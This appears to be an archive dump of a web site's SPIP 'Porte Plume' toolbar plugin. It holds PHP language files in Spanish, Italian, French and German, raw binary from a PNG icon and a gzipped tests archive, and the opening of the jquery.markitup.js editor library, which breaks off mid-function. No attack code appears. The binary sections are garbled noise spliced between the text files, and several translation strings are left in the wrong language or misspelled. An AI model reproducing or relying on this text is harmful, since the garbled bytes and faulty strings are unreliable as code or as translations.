=> 'Convertir en sublista', 'barre_desindenter' => 'Deshacer sublista', 'barre_inserer_caracteres' => 'Insertar caracteres especiales', 'editer'=>'Editar', 'voir'=>'Ver', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insertar À', 'barre_aide' => 'Puedes enriquecer el formato de tu texto utilizando "atajos tipográficos"', 'barre_e_accent_aigu' => 'Insertar É', 'barre_eo' => 'Insertar ligadura œ', 'barre_eo_maj' => 'Insertar ligadura &OElig', 'barre_euro' => 'Insertar símbolo € ', 'barre_gestion_cr_changercassemajuscules' => 'MAYÚSCULAS', 'barre_gestion_cr_changercasseminuscules' => 'minúsculas', 'barre_gras' => '{{Negrita}}', 'barre_guillemets' => 'Encerrar entre «comillas dobles«', 'barre_guillemets_simples' => 'Place between “single quotes“', 'barre_intertitre' => 'Convertir en {{{intertítulo}}}', 'barre_italic' => '{cursiva}', 'barre_lien' => 'Convertir en [hipevínculo->http://...]', 'barre_lien_input' => 'Por favor ingresa el destino de tu hipervínculo (puede ser una URL de la forma http://www.misitio.com o simplmente el número de un artículo de este sitio).', 'barre_note' => 'Convertir en [[Nota al pie]]', 'barre_paragraphe' => 'Crear párrafo', 'barre_quote' => 'Citar', // B (depuis BTv2) 'barre_langue' => 'Idioma abreviado', //?? 'barre_miseenevidence' => 'Resaltar el [*texto*]', 'barre_exposant' => 'Poner el texto en <sup>superíndice</sup>', 'barre_petitescapitales' => 'Poner el texto en <sc>mayúsculas pequeñas</sc>', 'barre_centrer' => '[|Centrar|] párrafo', 'barre_alignerdroite' => '[/Alinear a derecha/]', 'barre_encadrer' => '[(Párrafo con recuadro)]', 'barre_e_accent_grave' => 'Intertar È', 'barre_ea' => 'Insertar ligadura æ', 'barre_ea_maj' => 'Insertar ligadura Æ', 'barre_c_cedille_maj' => 'Insertar Ç', 'barre_chercher' => 'Buscar y reemplazar', 'barre_tableau' => 'Insertar/modificar una tabla (seleccionala primero)', 'barre_glossaire' => '[?Referencia] (Wikipedia)', 'barre_caracteres' => 'Caracteres especiales', 'barre_lien_externe' => 'Enlace externo', 'barre_bulle' => 'Globo de ayuda', 'barre_galerie' => 'Ouvrir la galerie', 'barre_gestion_caption' => 'Encabezado y resumen', 'barre_formatages_speciaux' => 'Formateado especial', 'barre_galerie' => 'Abrir la galería', 'barre_gestion_colonne' => 'Núm de columnas', 'barre_gestion_ligne' => 'Núm de líneas', 'barre_gestion_entete' => 'Encabezado', 'barre_gestion_taille' => 'Tamaño fijo', 'barre_gestion_cr_changercasse' => 'Alternar', 'barre_gestion_cr_changercassemajuscules' => 'Pasar a mayúsculas', 'barre_gestion_cr_changercasseminuscules' => 'Pasar a minúsculas', 'barre_gestion_cr_chercher' => 'Buscar', 'barre_gestion_cr_remplacer' => 'Reemplazar', 'barre_gestion_cr_casse' => 'Respetar mayúsculas y minúsculas', 'barre_gestion_cr_tout' => 'Reemplazar todo', 'barre_gestion_cr_entier' => 'Sólo palabras completas', 'barre_preview' => 'Modo previsualización', 'barre_stats' => 'Mostrar estadística del texto', 'barre_code' => 'Mostrar como <code>código fuente</code>', 'barre_cadre' => 'Mostrar dentro de una <cadre>caja de texto</cadre>', 'barre_poesie' => 'Mostrar como <poesie>Poesía</poesie>', 'barre_ancres' => 'Anclas', 'barre_gestion_anc_caption' => 'Gestionar las anclas', 'barre_gestion_anc_inserer' => 'Convertir a un ancla', 'barre_gestion_anc_nom' => 'Nombre del ancla', 'barre_gestion_anc_pointer' => 'Apuntar a un ancla', 'barre_gestion_anc_cible' => 'Destino del ancla', 'barre_gestion_anc_bulle' => 'Globo de ayuda de anclas' ); ?> barre_outils_it.php000066600000013223151451432410010450 0ustar00 'Elimina dal codice tutti i tag HTML', 'barre_lorem_ipsum' => 'Inserisci un paragrafo di prova (lorem ipsum)', 'barre_lorem_ipsum_3' => 'Inserisci 3 paragrafi di prova (lorem ipsum)', 'barre_liste_ul' => 'Converti in lista', 'barre_liste_ol' => 'Converti in lista numerata', 'barre_indenter' => 'Indenta la lista', 'barre_desindenter' => 'Elimina l\'indentazione dela lista', 'barre_inserer_caracteres' => 'Inserisci dei caratteri speciali', 'barre_barre' => 'Barra il testo', 'editer'=>'Modifica', 'voir'=>'Vedi', // B (depuis SPIP) 'barre_a_accent_grave' => 'Inserisci una A con accento grave maiuscolo', 'barre_aide' => 'Utilizza le scorciatoie tipografiche per arricchire la tua impaginazione', 'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola: Ç', 'barre_e_accent_aigu' => 'Inserisci una E con accento acuto maiuscola', 'barre_e_accent_grave' => 'Inserisci una E con accento grave minuscola: È', 'barre_ea' => 'Inserisci una E con legatura alla A: æ', 'barre_ea_maj' => 'Inserisci una E con legatura alla A maiuscola: Æ', 'barre_eo' => 'Inserisci una E con legatura alla O minuscola', 'barre_eo_maj' => 'Inserisci una E con legatura alla O maiuscola', 'barre_euro' => 'Inserisci il simbolo €', 'barre_gestion_cr_changercassemajuscules' => 'Converti la selezione in maiuscolo', 'barre_gestion_cr_changercasseminuscules' => 'Converti la selezione in minuscolo', 'barre_gras' => 'Converti in {{grassetto}}', 'barre_guillemets' => 'Racchiudi tra « virgolette »', 'barre_guillemets_simples' => 'Racchiudi tra “virgolette di secondo livello”', 'barre_intertitre' => 'Trasforma in {{{titolo}}}', 'barre_italic' => 'Converti in {corsivo}', 'barre_lien' => 'Trasforma in [link ipertestuale->http://...]', 'barre_lien_input' => 'Indica l\'indirizzo del tuo link (puoi indicare un indirizzo internet sotto forma di http://www.miosito.com, un indirizzo di posta elettronica, o semplicemente indicare il numero di un articolo di questo sito.', 'barre_note' => 'Trasforma in [[nota a piè pagina]]', 'barre_paragraphe' => 'Crea un paragrafo', 'barre_quote' => 'Cita un messaggio', // B (depuis BTv2) 'barre_langue' => 'Acronimo lingua', 'barre_miseenevidence' => 'Metti il testo in [*evidenza*]', 'barre_exposant' => 'Metti il testo in <sup>esponente</sup>', 'barre_petitescapitales' => 'metti il testo in <sc>maiuscoletto</sc>', 'barre_centrer' => '[|Centra|] il paragrafo', 'barre_alignerdroite' => '[/Allinea a destra/] il paragrafo', 'barre_encadrer' => '[(Riquadra)] il paragrafo', 'barre_e_accent_grave' => 'Inserisci una E maiuscola con accento grave', 'barre_ea' => 'Inserisci una E nella A', 'barre_ea_maj' => 'Inserisci una E nella A maiuscola', 'barre_c_cedille_maj' => 'Inserisci una C con cediglia maiuscola', 'barre_chercher' => 'Cerca e sostituisci', 'barre_tableau' => 'Inserisci/modifica (selezionare prima) una tabella', 'barre_glossaire' => 'Voce di [?glossario] (Wikipedia)', 'barre_caracteres' => 'Caratteri speciali', 'barre_adresse' => 'Indirizzo', 'barre_lien_externe' => 'Link esterno', 'barre_bulle' => 'Tooltip', 'barre_formatages_speciaux' => 'Formattazioni speciali', 'barre_galerie' => 'Apri la galleria', 'barre_gestion_caption' => 'Didascalia e riassunto', 'barre_gestion_colonne' => 'Num colonne', 'barre_gestion_ligne' => 'Num righe', 'barre_gestion_entete' => 'Intestazione', 'barre_gestion_taille' => 'Dimensione fissa', 'barre_gestion_cr_changercasse' => 'Cambia maiuscole/minuscole', 'barre_gestion_cr_changercassemajuscules' => 'Passa in maiuscole', 'barre_gestion_cr_changercasseminuscules' => 'Passa in minuscole', 'barre_gestion_cr_chercher' => 'Cerca', 'barre_gestion_cr_remplacer' => 'Sostituisci', 'barre_gestion_cr_casse' => 'Rispetta le maiuscole/minuscole', 'barre_gestion_cr_tout' => 'Sostituisci tutto', 'barre_gestion_cr_entier' => 'Parola intera', 'barre_preview' => 'Modalit� anteprima', 'barre_stats' => 'Mostra le statistiche del testo', 'barre_code' => 'Impagina un <code>codice informatico</code>', 'barre_cadre' => 'Metti dentro una <cadre>zona di inserimento del testo</cadre>', 'barre_poesie' => 'Impagina come una <poesie>poesia</poesie>', 'barre_ancres' => 'Gestione delle ancore', 'barre_gestion_anc_caption' => 'Gestione delle ancore', 'barre_gestion_anc_inserer' => 'Trasforma in ancora', 'barre_gestion_anc_nom' => 'Nome dell\'ancora', 'barre_gestion_anc_pointer' => 'Punta verso un\'ancora', 'barre_gestion_anc_cible' => 'Destinazione ancora', 'barre_gestion_anc_bulle' => 'Tooltip ancora', // C 'config_info_enregistree' => "Configurazione salvata", // E 'explication_barre_outils_public' => "Gli script CSS e Javascript delle barre di testo (estensione Porte Plume) vengono caricate nello spazio pubblico e consentono di utilizzare queste barre sui moduli dei forum, i pennarelli pubblici o per altri plugin, se le loro rispettive configurazioni lo permettono.", 'explication_barre_outils_public_2' => "Puoi scegliere di non caricare questi script al fine di allegerire il peso delle pagine pubbliche. Qualunque sia la configurazione dei forum, pennarelli o plugin, nessuna barra di testo di Porte Pplume potrà essere inserita automaticamente nello spazio pubblico.", // I 'info_porte_plume_titre' => "Configura le barre di testo", 'info_barre_outils_public' => "Barra di testo pubblica", // L 'label_barre_outils_public_oui' => "Caricare gli script della barra di testo sullo spazio pubblico", 'label_barre_outils_public_non' => "Non caricare gli script della barra di testo sullo spazio pubblico", ); ?> barre_outils_fr.php000066600000013433151451432410010446 0ustar00 'Nettoyer le code de toutes les balises HTML', 'barre_lorem_ipsum' => 'Insérer un paragraphe factice', 'barre_lorem_ipsum_3' => 'Insérer trois paragraphes factices', 'barre_liste_ul' => 'Mettre en liste', 'barre_liste_ol' => 'Mettre en liste numérotée', 'barre_indenter' => 'Indenter une liste', 'barre_desindenter' => 'Désindenter une liste', 'barre_inserer_caracteres' => 'Insérer des caractères spécifiques', 'barre_barre' => 'Barrer le texte', 'editer'=>'Éditer', 'voir'=>'Voir', // B (depuis SPIP) 'barre_a_accent_grave' => 'Insérer un A accent grave majuscule', 'barre_aide' => 'Utilisez les raccourcis typographiques pour enrichir votre mise en page', 'barre_c_cedille_maj' => 'Insérer un C cédille majuscule: Ç', 'barre_e_accent_aigu' => 'Insérer un E accent aigu majuscule', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave: È', 'barre_ea' => 'Insérer un E dans l\'A: æ', 'barre_ea_maj' => 'Insérer un E dans l\'A majuscule: Æ', 'barre_eo' => 'Insérer un E dans l\'O', 'barre_eo_maj' => 'Insérer un E dans l\'O majuscule', 'barre_euro' => 'Insérer le symbole €', 'barre_gestion_cr_changercassemajuscules' => 'Passer la sélection en majuscules', 'barre_gestion_cr_changercasseminuscules' => 'Passer la sélection en minuscules', 'barre_gras' => 'Mettre en {{gras}}', 'barre_guillemets' => 'Entourer de « guillemets »', 'barre_guillemets_simples' => 'Entourer de “guillemets de second niveau”', 'barre_intertitre' => 'Transformer en {{{intertitre}}}', 'barre_italic' => 'Mettre en {italique}', 'barre_lien' => 'Transformer en [lien hypertexte->http://...]', 'barre_lien_input' => 'Veuillez indiquer l\'adresse de votre lien (vous pouvez indiquer une adresse Internet sous la forme http://www.monsite.com, une adresse courriel, ou simplement indiquer le numéro d\'un article de ce site.', 'barre_note' => 'Transformer en [[Note de bas de page]]', 'barre_paragraphe' => 'Créer un paragraphe', 'barre_quote' => 'Citer un message', // B (depuis BTv2) 'barre_langue' => 'Langue abrégée', 'barre_miseenevidence' => 'Mettre le texte en [*évidence*]', 'barre_exposant' => 'Mettre le texte en <sup>exposant</sup>', 'barre_petitescapitales' => 'Mettre le texte en <sc>petites capitales</sc>', 'barre_centrer' => '[|Centrer|] le paragraphe', 'barre_alignerdroite' => '[/Aligne à droite/] le paragraphe', 'barre_encadrer' => '[(Encadrer)] le paragraphe', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave', 'barre_ea' => 'Insérer un E dans l\'A', 'barre_ea_maj' => 'Insérer un E dans l\'A majuscule', 'barre_c_cedille_maj' => 'Insérer un C cédille majuscule', 'barre_chercher' => 'Chercher Remplacer', 'barre_tableau' => 'Insérer/modifier (le sélectionner avant) un tableau', 'barre_glossaire' => 'Entrée du [?glossaire] (Wikipedia)', 'barre_caracteres' => 'Caractères spéciaux', 'barre_adresse' => 'Adresse', 'barre_lien_externe' => 'Lien externe', 'barre_bulle' => 'Bulle d\'aide', 'barre_formatages_speciaux' => 'Formatage spéciaux', 'barre_galerie' => 'Ouvrir la galerie', 'barre_gestion_caption' => 'Caption et Résumé', 'barre_gestion_colonne' => 'Nb colonnes', 'barre_gestion_ligne' => 'Nb lignes', 'barre_gestion_entete' => 'Entete', 'barre_gestion_taille' => 'Taille fixe', 'barre_gestion_cr_changercasse' => 'Changer la casse', 'barre_gestion_cr_changercassemajuscules' => 'Passer en majuscules', 'barre_gestion_cr_changercasseminuscules' => 'Passer en minuscules', 'barre_gestion_cr_chercher' => 'Chercher', 'barre_gestion_cr_remplacer' => 'Remplacer', 'barre_gestion_cr_casse' => 'Respecter la casse', 'barre_gestion_cr_tout' => 'Tout remplacer', 'barre_gestion_cr_entier' => 'Mot entier', 'barre_preview' => 'Mode prévisualisation', 'barre_stats' => 'Afficher les statistiques du texte', 'barre_code' => 'Mettre en forme un <code>code informatique</code>', 'barre_cadre' => 'Placer dans une <cadre>zone de saisie de texte</cadre>', 'barre_poesie' => 'Mettre en forme comme une <poesie>poésie</poesie>', 'barre_ancres' => 'Gestion des ancres', 'barre_gestion_anc_caption' => 'Gestion des ancres', 'barre_gestion_anc_inserer' => 'Transformer en ancre', 'barre_gestion_anc_nom' => 'Nom de l\'ancre', 'barre_gestion_anc_pointer' => 'Pointer vers une ancre', 'barre_gestion_anc_cible' => 'Ancre cible', 'barre_gestion_anc_bulle' => 'Bulle d\'aide ancre', // C 'config_info_enregistree' => "Configuration sauvegardée", // E 'explication_barre_outils_public' => "Les scripts CSS et Javascript des barre d'outils (extension Porte Plume) sont chargés sur l'espace public et permettent d'utiliser ces barres sur les formulaires de forums, les crayons publics ou pour d'autres plugins, si leurs configurations respectives le permettent.", 'explication_barre_outils_public_2' => "Vous pouvez choisir de ne pas charger ces scripts afin d'alléger le poids des pages publiques. Dès lors quelque soit la configuration des forums, crayons ou plugin, aucune barre d'outils du Porte Plume ne pourra être présente automatiquement sur l'espace public.", // I 'info_porte_plume_titre' => "Configurer les barres d'outils", 'info_barre_outils_public' => "Barre d'outils publique", // L 'label_barre_outils_public_oui' => "Charger les scripts de barre d'outils sur l'espace public", 'label_barre_outils_public_non' => "Ne pas charger les scripts de barre d'outils sur l'espace public", ); ?> barre_outils_de.php000066600000012615151451432410010430 0ustar00 'Code aller HTML-Tags bereinigen', 'barre_lorem_ipsum' => 'Einen falschen Absatz einfügen', 'barre_lorem_ipsum_3' => 'Drei falsche Absätze einfügen', 'barre_liste_ul' => 'Als Liste formatieren', 'barre_liste_ol' => 'Als nummerierte Liste formatieren', 'barre_indenter' => 'Liste mit Einrückungen', 'barre_desindenter' => 'Einrückungen aus Liste entfernen', 'barre_inserer_caracteres' => 'Sonderzeichen einfügen', 'barre_barre' => 'Text durchstreichen', 'editer'=>'Bearbeiten', 'voir'=>'Anzeigen', // B (depuis SPIP) 'barre_a_accent_grave' => 'Majuskel A mit accent grave einfügen', 'barre_aide' => 'Gestalten sie ihre Seite mit typografischen Kürzeln', 'barre_c_cedille_maj' => 'Majuskel C mit cédille einfügen', 'barre_e_accent_aigu' => 'Majuskel E mit accent aigu einfügen', 'barre_e_accent_grave' => 'Majuskel E mit accent grave einfügen', 'barre_ea' => 'E im A einfügen: æ', 'barre_ea_maj' => 'Majuskel E im A einfügen: Æ', 'barre_eo' => 'E im O einfügen', 'barre_eo_maj' => 'Majuskel E im O einfügen', 'barre_euro' => '€ Symbol einfügen', 'barre_gestion_cr_changercassemajuscules' => 'Auswahl in Majuskel umwandeln', 'barre_gestion_cr_changercasseminuscules' => 'Auswahl in Gemeine umwandeln', 'barre_gras' => '{{Fett}} setzen', 'barre_guillemets' => 'In « Anführungszeichen » setzen.', 'barre_guillemets_simples' => 'in “ doppelte Anführungszeichen ”', 'barre_intertitre' => 'In {{{Zwischentitel}}} umwandeln', 'barre_italic' => 'In {kursiv} umwandeln', 'barre_lien' => 'In [Hyperlink->http://...] umwandeln', 'barre_lien_input' => 'Bitte geben sie die Adresse ihrer Website an (Sie können eine Webadresse im Format http://www.meineseite.de, eine Mailadresse oder die Nummer eines Artikels dieser Website angeben.)', 'barre_note' => 'In [[Fu�note]] umwandeln', 'barre_paragraphe' => 'Absatz einfügen', 'barre_quote' => 'Nachricht zitieren', // B (depuis BTv2) 'barre_langue' => 'Sprache / Kurzform', 'barre_miseenevidence' => '[*hervorheben*]', 'barre_exposant' => 'Text <sup>hochstellen</sup>', 'barre_petitescapitales' => 'Text als <sc>Kapitälchen</sc>', 'barre_centrer' => 'Absatz [|zentrieren|]', 'barre_alignerdroite' => 'Absatz [/rechtsbündig/] ausrichten', 'barre_encadrer' => 'Absatz mit [(Kasten)]', 'barre_e_accent_grave' => 'Insérer un E majuscule accent grave', 'barre_ea' => 'Insérer un E dans l\'A', 'barre_ea_maj' => 'Majuskel E im A einfügen', 'barre_c_cedille_maj' => 'Majuskel C cédille einfügen', 'barre_chercher' => 'Suchen / Ersetzen', 'barre_tableau' => 'In einer Tabelle (bitte markieren) suchen und ersetzen', 'barre_glossaire' => 'Eintrag in [?glossaire] (Wikipedia)', 'barre_caracteres' => 'Sonderzeichen', 'barre_adresse' => 'Adresse', 'barre_lien_externe' => 'Externer Link', 'barre_bulle' => 'Sprechblasenhilfe', 'barre_formatages_speciaux' => 'Spezielle Formatierungen', 'barre_galerie' => 'Galerie öffnen', 'barre_gestion_caption' => 'Motto und Zusammenfassung', 'barre_gestion_colonne' => 'Spaltenzahl', 'barre_gestion_ligne' => 'Zeilenzahl', 'barre_gestion_entete' => 'Kopf', 'barre_gestion_taille' => 'Feste Größe', 'barre_gestion_cr_changercasse' => 'Majusker/Gemeine tauschel', 'barre_gestion_cr_changercassemajuscules' => 'In Majuskel umwandeln', 'barre_gestion_cr_changercasseminuscules' => 'In Gemeine umwandeln', 'barre_gestion_cr_chercher' => 'Suchen', 'barre_gestion_cr_remplacer' => 'Ersetzen', 'barre_gestion_cr_casse' => 'Gross/Klein beachten', 'barre_gestion_cr_tout' => 'Alles ersetzen', 'barre_gestion_cr_entier' => 'Ganzes Wort', 'barre_preview' => 'Vorschaumodus', 'barre_stats' => 'Statistiken des Texts anzeigen', 'barre_code' => '<code>Programmcode </code> formatieren', 'barre_cadre' => 'In <cadre>Textfeld</cadre> einfügen', 'barre_poesie' => 'Als <Poesie>Poésie</poesie> formatieren', 'barre_ancres' => 'Anker verwalten', 'barre_gestion_anc_caption' => 'Anker verwalten', 'barre_gestion_anc_inserer' => 'In Anker umwandeln', 'barre_gestion_anc_nom' => 'Name des Ankers', 'barre_gestion_anc_pointer' => 'Link zu Anker', 'barre_gestion_anc_cible' => 'Zielanker', 'barre_gestion_anc_bulle' => 'Sprechblasenhilfe zum Anker', // C 'config_info_enregistree' => "Konfiguration gespeichert", // E 'explication_barre_outils_public' => "Die CSS et Javaskripte der Werkzeugleiste (Erweiterung Federhalter) werden in den öffentlichen Bereich geladen und ermöglichen diese Werkzeugleiten in den Formularen der Foren, des Stift-Plugins und in weiteren Plugins einzusetzen, wenn die jeweilige Konfiguration es erlaubt.", 'explication_barre_outils_public_2' => "Sie können die Verwendung der Werkzeugleisten verhindern und so den Code der öffentlichen Seiten verschlanken. Damit stehen sie weder in Foren, noch in den Eingabefeldern von Plugins zur Verfügung.", // I 'info_porte_plume_titre' => "Werkzeugleiste konfigurieren", 'info_barre_outils_public' => "Öffentliche Werkzeugleiste", // L 'label_barre_outils_public_oui' => "Werkzeugleisten und Skripte im öffentlichen Bereich laden.", 'label_barre_outils_public_non' => "Werkzeugleisten nicht im öffentlichen Bereich laden.", ); ?> PKQ\{kconfiguration/quote.png.tarnuW+Ahome/yeshuare/www/extensions/porte_plume/icones_barre/quote.png000066600000000376151451434340021213 0ustar00PNG  IHDR(-SgAMAOX2tEXtSoftwareAdobe ImageReadyqe< PLTEfffĽtRNS AiIDATxb`b@LEP 0TH 0X"3(@*ID 0T-b@ @a  (|ӹIENDB`PKQ\@Z Z configuration/tests.tar.gznuW+A[}s8O!|p!ir@[J x8Uϱd|gWرs/]V"YЃTd^|M߿_{`s/{pz2q5hvΝ6vMwA hvtH}(,'r$H6B/Q(srI' Ґ'.xߑ|@;{qP~.@ RrH ( SӝiFo!7N0@kAoi?j9||7?{}tvg3Kzֆ##c'P>ɦNx/H R0v6S#bQNnn b/x(;D2nBy(>:8~MF[M+>M}lc-TE(OP\qdmV;p7t/zuIKds@f֬՞mGcmI!EDO@XJ6Jqj'<b&8CM,tć.:ED@K"ءg⨛Aco66*2>^4RZZـFrA $9}00%䢳Oww~lE4G8I޽{?pe2 H`PABE!x==|A_ %hHx#,JI!03 0e[u 1v%ʧ*`o3~p(}u#Fi_5Iu,CA(d8>bJ `O rIRY NEUT|[utPq?Ieʗ6eѣfxm08]Hʤ$YcAH"6`wǏ*=Z-f.byT 4WlAyƱ0\1ٝO`|߬AAyR6'g >GI(fYsn1t@9O'%@yQdp24*DZz Rd9 Ƿwɭ;5}W=,ʗVu&-6:wq[C k A9\|-͈D OkyZ룩%}D֫".֒X{(Jź;sw Us AB 3Bt3JϢPbYJADU8wq9-hl!-R$P:#8 i!`'Pƨy|C5"0O1ݝ<4vӂꟇ͓cI.CӇS%S!y:R(uu_FIB}!qQwp)fiX^T#ӷmPEҪ5jՓ\?e¦[uV}Ћ<oD>Ek$ [Wpɰ)=[@W?R-]łU Rdsǡ~V+Li($:-Xs:|.{ ^P~LO>_!CTY ]r#S`h97k򚈒(A' vUM"J@'גxtu5䃵u1VceD_`5U&k0[9ԛU1|a:@;iun F^re !2TM2TXV*r]U5Vr~uM  9Y :sJ$Q*B=N6UX`DK8-8l;=G4^*fVw`G)xJψc5/i6=!]Ks*L3]ʭ̓ېtuF8GamhXڜ B,o iSe"ƴ#ZfUL3s؊ X'ԴajA 5uYF!<‰;-~RĽ5:3,شBlϥ%-dsrwhÉl\Gu!{jp!! b*nU2~1Q`9ޚvXEko(V)qűj?Kcf];V-Vz3 c O&CU]&n U:b/u) RnAb Qk7"]loP+]ڻu׼>UU$ Aʡ]4b,q? R)?^lMgk:h2dwU&ĵ[~qJ!m$o kçꌢey 5f"mLHN^W~d%88Q gv ?>?n!G3Gb婸u<'YSFQ.stSݝu .XDY3Y w®T ;/ID§{ѐSb~`D?bRR!hjieMa͍K|!Rv?W(RM.߮!Ɏ-sd^ X7fd9q[ bk!>^e]H㱮YGjx:P-կ]Q. B:x퀸l#GkA9K:ȡ?-9qfO)0TB︠g(AkCWᗽ< ':$Gxas1稨SMYzJ2s!r3'4F E:8Pl "dAZ ^=CޝǝiYV0T>2j$W&+u6ByC+1Ra_eIܽ '/z_؈2Yk6Y3\}9g * c'pI$i@/3QU pmo;[}>Y:Gꏷ=^ӱz!DQ>\y%G!l,Y1)I4ku[A{ofPEd۰KE@v:wNw39.s|eJOSDYw7MwGu+ݫsC|xb􈎸+XΥ؊N=k︸AR/{l>q?~SI_z-͜zcRCW.7>TqF_Fؔ`G<nrF!^ulzJ"}^w߯s?;ECqC)FP&W4Řp +45:(ڑnM -Z.Ѕ/l0~[WqaH߳n$u?#=պ3F{k "Ua#Y|L~YGTx0"E K%nv7f7n>p9yNH'5/:8:.;i DŽʳI0"Ւ$:Y@ &0:!B(@0* otCPNv5c9{ -B"Sf]CW5txw$VEDZp%(Bo{6GG_ZC'<ux %唊݄u8A!1 ȡ|ܘ;kģ'̔^n؜N%Ut=Q ), q\m)H\/ q$O:1H t谛CzDSol/l%v m2'wZnn;?,("n,֋I(qZ+2߯e/{ g PKQ\configuration/javascript.tarnuW+Ajquery.markitup.js000066600000041530151451431370010267 0ustar00// ---------------------------------------------------------------------------- // markItUp! Universal MarkUp Engine, JQuery plugin // v 1.1.8 // Dual licensed under the MIT and GPL licenses. // ---------------------------------------------------------------------------- // Copyright (C) 2007-2010 Jay Salvat // http://markitup.jaysalvat.com/ // ---------------------------------------------------------------------------- // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // ---------------------------------------------------------------------------- (function($) { $.fn.markItUp = function(settings, extraSettings) { var options, ctrlKey, shiftKey, altKey; ctrlKey = shiftKey = altKey = false; options = { id: '', nameSpace: '', root: '', previewInWindow: '', // 'width=800, height=600, resizable=yes, scrollbars=yes' previewAutoRefresh: true, previewPosition: 'after', previewTemplatePath: '~/templates/preview.html', previewParserPath: '', previewParserVar: 'data', resizeHandle: true, beforeInsert: '', afterInsert: '', onEnter: {}, onShiftEnter: {}, onCtrlEnter: {}, onTab: {}, markupSet: [ { /* set */ } ] }; $.extend(options, settings, extraSettings); // compute markItUp! path if (!options.root) { $('script').each(function(a, tag) { miuScript = $(tag).get(0).src.match(/(.*)jquery\.markitup(\.pack)?\.js$/); if (miuScript !== null) { options.root = miuScript[1]; } }); } return this.each(function() { var $$, textarea, levels, scrollPosition, caretPosition, caretOffset, clicked, hash, header, footer, previewWindow, template, iFrame, abort; $$ = $(this); textarea = this; levels = []; abort = false; scrollPosition = caretPosition = 0; caretOffset = -1; options.previewParserPath = localize(options.previewParserPath); options.previewTemplatePath = localize(options.previewTemplatePath); // apply the computed path to ~/ function localize(data, inText) { if (inText) { return data.replace(/("|')~\//g, "$1"+options.root); } return data.replace(/^~\//, options.root); } // init and build editor function init() { id = ''; nameSpace = ''; if (options.id) { id = 'id="'+options.id+'"'; } else if ($$.attr("id")) { id = 'id="markItUp'+($$.attr("id").substr(0, 1).toUpperCase())+($$.attr("id").substr(1))+'"'; } if (options.nameSpace) { nameSpace = 'class="'+options.nameSpace+'"'; } $$.wrap('
        '); $$.wrap('
        '); $$.wrap('
        '); $$.addClass("markItUpEditor"); // add the header before the textarea header = $('
        ').insertBefore($$); $(dropMenus(options.markupSet)).appendTo(header); // add the footer after the textarea footer = $('
        ').insertAfter($$); // add the resize handle after textarea if (options.resizeHandle === true && $.browser.safari !== true) { resizeHandle = $('
        ') .insertAfter($$) .bind("mousedown", function(e) { var h = $$.height(), y = e.clientY, mouseMove, mouseUp; mouseMove = function(e) { $$.css("height", Math.max(20, e.clientY+h-y)+"px"); return false; }; mouseUp = function(e) { $("html").unbind("mousemove", mouseMove).unbind("mouseup", mouseUp); return false; }; $("html").bind("mousemove", mouseMove).bind("mouseup", mouseUp); }); footer.append(resizeHandle); } // listen key events $$.keydown(keyPressed).keyup(keyPressed); // bind an event to catch external calls $$.bind("insertion", function(e, settings) { if (settings.target !== false) { get(); } if (textarea === $.markItUp.focused) { markup(settings); } }); // remember the last focus $$.focus(function() { $.markItUp.focused = this; }); } // recursively build header with dropMenus from markupset function dropMenus(markupSet) { var ul = $('
          '), i = 0; $('li:hover > ul', ul).css('display', 'block'); $.each(markupSet, function() { var button = this, t = '', title, li, j; title = (button.key) ? (button.name||'')+' [Ctrl+'+button.key+']' : (button.name||''); key = (button.key) ? 'accesskey="'+button.key+'"' : ''; if (button.separator) { li = $('
        • '+(button.separator||'')+'
        • ').appendTo(ul); } else { i++; for (j = levels.length -1; j >= 0; j--) { t += levels[j]+"-"; } li = $('
        • '+(button.name||'')+'
        • ') .bind("contextmenu", function() { // prevent contextmenu on mac and allow ctrl+click return false; }).click(function() { return false; }).focusin(function(){ $$.focus(); }).mousedown(function() { if (button.call) { eval(button.call)(); } setTimeout(function() { markup(button) },1); return false; }).hover(function() { $('> ul', this).show(); $(document).one('click', function() { // close dropmenu if click outside $('ul ul', header).hide(); } ); }, function() { $('> ul', this).hide(); } ).appendTo(ul); if (button.dropMenu) { levels.push(i); $(li).addClass('markItUpDropMenu').append(dropMenus(button.dropMenu)); } } }); levels.pop(); return ul; } // markItUp! markups function magicMarkups(string) { if (string) { string = string.toString(); string = string.replace(/\(\!\(([\s\S]*?)\)\!\)/g, function(x, a) { var b = a.split('|!|'); if (altKey === true) { return (b[1] !== undefined) ? b[1] : b[0]; } else { return (b[1] === undefined) ? "" : b[0]; } } ); // [![prompt]!], [![prompt:!:value]!] string = string.replace(/\[\!\[([\s\S]*?)\]\!\]/g, function(x, a) { var b = a.split(':!:'); if (abort === true) { return false; } value = prompt(b[0], (b[1]) ? b[1] : ''); if (value === null) { abort = true; } return value; } ); return string; } return ""; } // prepare action function prepare(action) { if ($.isFunction(action)) { action = action(hash); } return magicMarkups(action); } // build block to insert function build(string) { openWith = prepare(clicked.openWith); placeHolder = prepare(clicked.placeHolder); replaceWith = prepare(clicked.replaceWith); closeWith = prepare(clicked.closeWith); if (replaceWith !== "") { block = openWith + replaceWith + closeWith; } else if (selection === '' && placeHolder !== '') { block = openWith + placeHolder + closeWith; } else { block = openWith + (string||selection) + closeWith; } return { block:block, openWith:openWith, replaceWith:replaceWith, placeHolder:placeHolder, closeWith:closeWith }; } // define markup to insert function markup(button) { var len, j, n, i; hash = clicked = button; get(); $.extend(hash, { line:"", root:options.root, textarea:textarea, selection:(selection||''), caretPosition:caretPosition, ctrlKey:ctrlKey, shiftKey:shiftKey, altKey:altKey } ); // 